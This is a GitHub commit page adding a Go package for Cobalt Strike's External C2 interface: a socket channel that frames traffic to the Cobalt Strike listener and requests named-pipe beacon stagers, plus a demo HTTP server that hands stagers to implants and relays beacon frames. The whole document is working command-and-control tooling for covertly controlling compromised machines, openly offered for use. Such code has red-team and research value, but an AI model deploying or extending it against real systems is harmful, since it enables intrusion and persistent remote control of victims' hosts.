Skip to content

Commit

Permalink
Adds go package for cs server communications. Also adds an example we…
Browse files Browse the repository at this point in the history
…b api demo.
  • Loading branch information
tomsteele committed Nov 15, 2017
1 parent 57b8e4a commit 3873dca
Show file tree
Hide file tree
Showing 6 changed files with 314 additions and 0 deletions.
1 change: 1 addition & 0 deletions go-external-c2/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
cmd/web/web
29 changes: 29 additions & 0 deletions go-external-c2/beacon_id.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
package externc2

import (
"fmt"

"github.com/google/uuid"
)

// BeaconID is combination of the internal identifier and Cobalt Strike identifier.
type BeaconID struct {
CobaltStrikeID int
InternalID string
}

// ToString returns this as a string.
func (b *BeaconID) ToString() string {
return fmt.Sprintf("%d_%s", b.CobaltStrikeID, b.InternalID)
}

// NewBeaconID returns a new BeaconID with the InternalID initialized.
func NewBeaconID() (BeaconID, error) {
var beaconID BeaconID
u, err := uuid.NewRandom()
if err != nil {
return beaconID, err
}
beaconID.InternalID = u.String()
return beaconID, nil
}
119 changes: 119 additions & 0 deletions go-external-c2/channels/socket_channel.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
package channels

import (
"encoding/base64"
"encoding/binary"
"fmt"
"log"
"net"

"github.com/ryhanson/ExternalC2/go-external-c2"
)

// SocketChannel is a direct socket connection to the Cobalt Strike
// External C2 server.
type SocketChannel struct {
Addr string
Socket net.Conn
Debug bool
}

// NewSocket creates a Socket using the specified ip and port.
func NewSocket(addr string) (*SocketChannel, error) {
return &SocketChannel{Addr: addr}, nil
}

// Connect creates the initial connection to the external listener.
func (s *SocketChannel) Connect() error {
socket, err := net.Dial("tcp", s.Addr)
if err != nil {
return err
}
s.Socket = socket
return nil
}

// ReadFrame reads a frame from the CS server socket.
func (s *SocketChannel) ReadFrame() ([]byte, int, error) {
sizeBytes := make([]byte, 4)
if _, err := s.Socket.Read(sizeBytes); err != nil {
return nil, 0, err
}
size := binary.LittleEndian.Uint32(sizeBytes)
if size > 1024*1024 {
size = 1024 * 1024
}
var total uint32
buff := make([]byte, size)
for total < size {
read, err := s.Socket.Read(buff[total:])
if err != nil {
return nil, int(total), err
}
total += uint32(read)
}
if (size > 1 && size < 1024) && s.Debug {
log.Printf("[+] Read frame: %s\n", base64.StdEncoding.EncodeToString(buff))
}
return buff, int(total), nil
}

// SendFrame sends a frame to the CS server socket.
func (s *SocketChannel) SendFrame(buffer []byte) (int, error) {
length := len(buffer)
if (length > 2 && length < 1024) && s.Debug {
log.Printf("[+] Sending frame: %s\n", base64.StdEncoding.EncodeToString(buffer))
}
sizeBytes := make([]byte, 4)
binary.LittleEndian.PutUint32(sizeBytes, uint32(length))
if _, err := s.Socket.Write(sizeBytes); err != nil {
return 0, err
}
x, err := s.Socket.Write(buffer)
return x + 4, err
}

// ReadAndSendTo reads a frame from the socket and send it to the beacon channel
func (s *SocketChannel) ReadAndSendTo(c2 externc2.IC2Channel) (bool, error) {
buff, _, err := s.ReadFrame()
if err != nil {
return false, err
}
if len(buff) < 0 {
return false, nil
}
if _, err := c2.SendFrame(buff); err != nil {
return false, err
}
return true, nil
}

// Close closes the socket connection.
func (s *SocketChannel) Close() {
s.Socket.Close()
}

// Dispose closes the socket connection.
func (s *SocketChannel) Dispose() {
s.Close()
}

// IsConnected returns true if the underlying socket
// has a connecteion.
func (s *SocketChannel) IsConnected() bool {
return s.Socket != nil
}

// GetStager requests an NamedPipe beacon from the Cobalt Strike server.
func (s *SocketChannel) GetStager(pipeName string, is64Bit bool, taskWaitTime int) ([]byte, error) {
if is64Bit {
s.SendFrame([]byte("arch=x64"))
} else {
s.SendFrame([]byte("arch=x86"))
}
s.SendFrame([]byte("pipename=" + pipeName))
s.SendFrame([]byte(fmt.Sprintf("block=%d", taskWaitTime)))
s.SendFrame([]byte("go"))
stager, _, err := s.ReadFrame()
return stager, err
}
141 changes: 141 additions & 0 deletions go-external-c2/cmd/web/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,141 @@
/*Example Web-API to demonstrate the capabilites of the Go/.NET ExternC2 packages*/
package main

import (
"encoding/base64"
"errors"
"flag"
"fmt"
"io/ioutil"
"log"
"net/http"
"strings"
"sync"

"github.com/gorilla/mux"
"github.com/ryhanson/ExternalC2/go-external-c2"
"github.com/ryhanson/ExternalC2/go-external-c2/channels"
)

var idHeader = "X-C2-Beacon"

// App holds contextual information about the running app.
type App struct {
CSAddr string
Manager sync.Map
}

func (app *App) getBeacon(r *http.Request) (string, *channels.SocketChannel, error) {
header := r.Header.Get(idHeader)
socket, ok := app.Manager.Load(header)
if !ok {
return "", nil, errors.New("beacon not found")
}
return header, socket.(*channels.SocketChannel), nil
}

// Options grabs web channel options and creates a new channel for a beacon.
func (app *App) Options(w http.ResponseWriter, r *http.Request) {
log.Println("[+] OPTIONS: Creating new beacon")
socket, err := channels.NewSocket(app.CSAddr)
if err != nil {
log.Printf("[!] Error while trying to create the Socket: %s\n", err.Error())
return
}
socket.Debug = true
if err := socket.Connect(); err != nil {
log.Printf("[!] Error while trying to connect to the CS server: %s\n", err.Error())
return
}
beaconID, err := externc2.NewBeaconID()
if err != nil {
log.Printf("[!] Error while tring to generate the beacon id: %s\n", err.Error())
return
}
app.Manager.Store(beaconID.InternalID, socket)
log.Printf("[+] ID will be set to %s\n", beaconID.InternalID)
w.Header().Add("X-Id-Header", idHeader)
w.Header().Add("X-Identifier", beaconID.InternalID)
}

// Get salls the socket channel's ReadFrame method.
func (app *App) Get(w http.ResponseWriter, r *http.Request) {
id, s, err := app.getBeacon(r)
if err != nil {
log.Printf("[!] Error during getBeacon: %s\n", err.Error())
return
}
log.Printf("[+] GET: Frame to beacon id: %s\n", id)
buff, _, err := s.ReadFrame()
if err != nil {
log.Printf("[!] Error during ReadFrame: %s\n", err.Error())
return
}
if s.IsConnected() {
encoder := base64.NewEncoder(base64.StdEncoding, w)
encoder.Write(buff)
encoder.Close()
} else {
fmt.Printf("[!] Socket is no longer connected")
w.Write([]byte(""))
}
}

// Put calls the socket channel's SendFrame method.
func (app *App) Put(w http.ResponseWriter, r *http.Request) {
decoder := base64.NewDecoder(base64.StdEncoding, r.Body)
id, s, err := app.getBeacon(r)
if err != nil {
log.Printf("[!] Error during getBeacon: %s\n", err.Error())
return
}
log.Printf("[+] PUT: Frame from beacon id: %s\n", id)
buff, err := ioutil.ReadAll(decoder)
if err != nil {
log.Printf("[!] Error decoding base64 payload: %s\n", err.Error())
return
}
if _, err := s.SendFrame(buff); err != nil {
log.Printf("[!] Error sending frame: %s\n", err.Error())
return
}
}

// Post calls the socket channel's GetStager method.
func (app *App) Post(w http.ResponseWriter, r *http.Request) {
is64Bit := strings.Contains(r.UserAgent(), "x64")
id, s, err := app.getBeacon(r)
if err != nil {
log.Printf("[!] Error during getBeacon: %s\n", err.Error())
return
}
log.Printf("[+] POST: Request for stager from beacon id: %s\n", id)

stager, err := s.GetStager(id, is64Bit, 100)
if err != nil {
log.Printf("[!] Error during GetStager: %s\n", err.Error())
return
}
encoder := base64.NewEncoder(base64.StdEncoding, w)
encoder.Write(stager)
encoder.Close()
}

func main() {
listenAddr := flag.String("listen-addr", ":8888", "ip:port for the web server to listen on")
csAddr := flag.String("cs-addr", "", "ip:port of the cs listener")
flag.Parse()
if *csAddr == "" {
log.Fatal("You must provide a valid value for csAddr. Example: 127.0.0.1:2222.")
}
r := mux.NewRouter()
app := &App{
CSAddr: *csAddr,
}
r.HandleFunc("/beacon", app.Options).Methods("OPTIONS")
r.HandleFunc("/beacon", app.Get).Methods("GET")
r.HandleFunc("/beacon", app.Put).Methods("PUT")
r.HandleFunc("/beacon", app.Post).Methods("POST")
http.Handle("/", r)
log.Fatal(http.ListenAndServe(*listenAddr, nil))
}
13 changes: 13 additions & 0 deletions go-external-c2/ic2_channel.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
package externc2

// IC2Channel is used to communicate with the beacon
// and server protocols.
type IC2Channel interface {
Connect() error
IsConnected() bool
Close()
ReadFrame() ([]byte, int, error)
SendFrame(buffer []byte) (int, error)
ReadAndSendTo(c2 IC2Channel)
GetStager(pipeName string, is64Bit bool, taskWaitTime int) ([]byte, error)
}
11 changes: 11 additions & 0 deletions go-external-c2/ic2_connector.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
package externc2

// IC2Connector is used to connect two IC2Channels.
type IC2Connector interface {
Started() bool
BeaconChannel() IC2Channel
ServerChannel() IC2Channel
Initialize() bool
Go()
Stop()
}

0 comments on commit 3873dca

Please sign in to comment.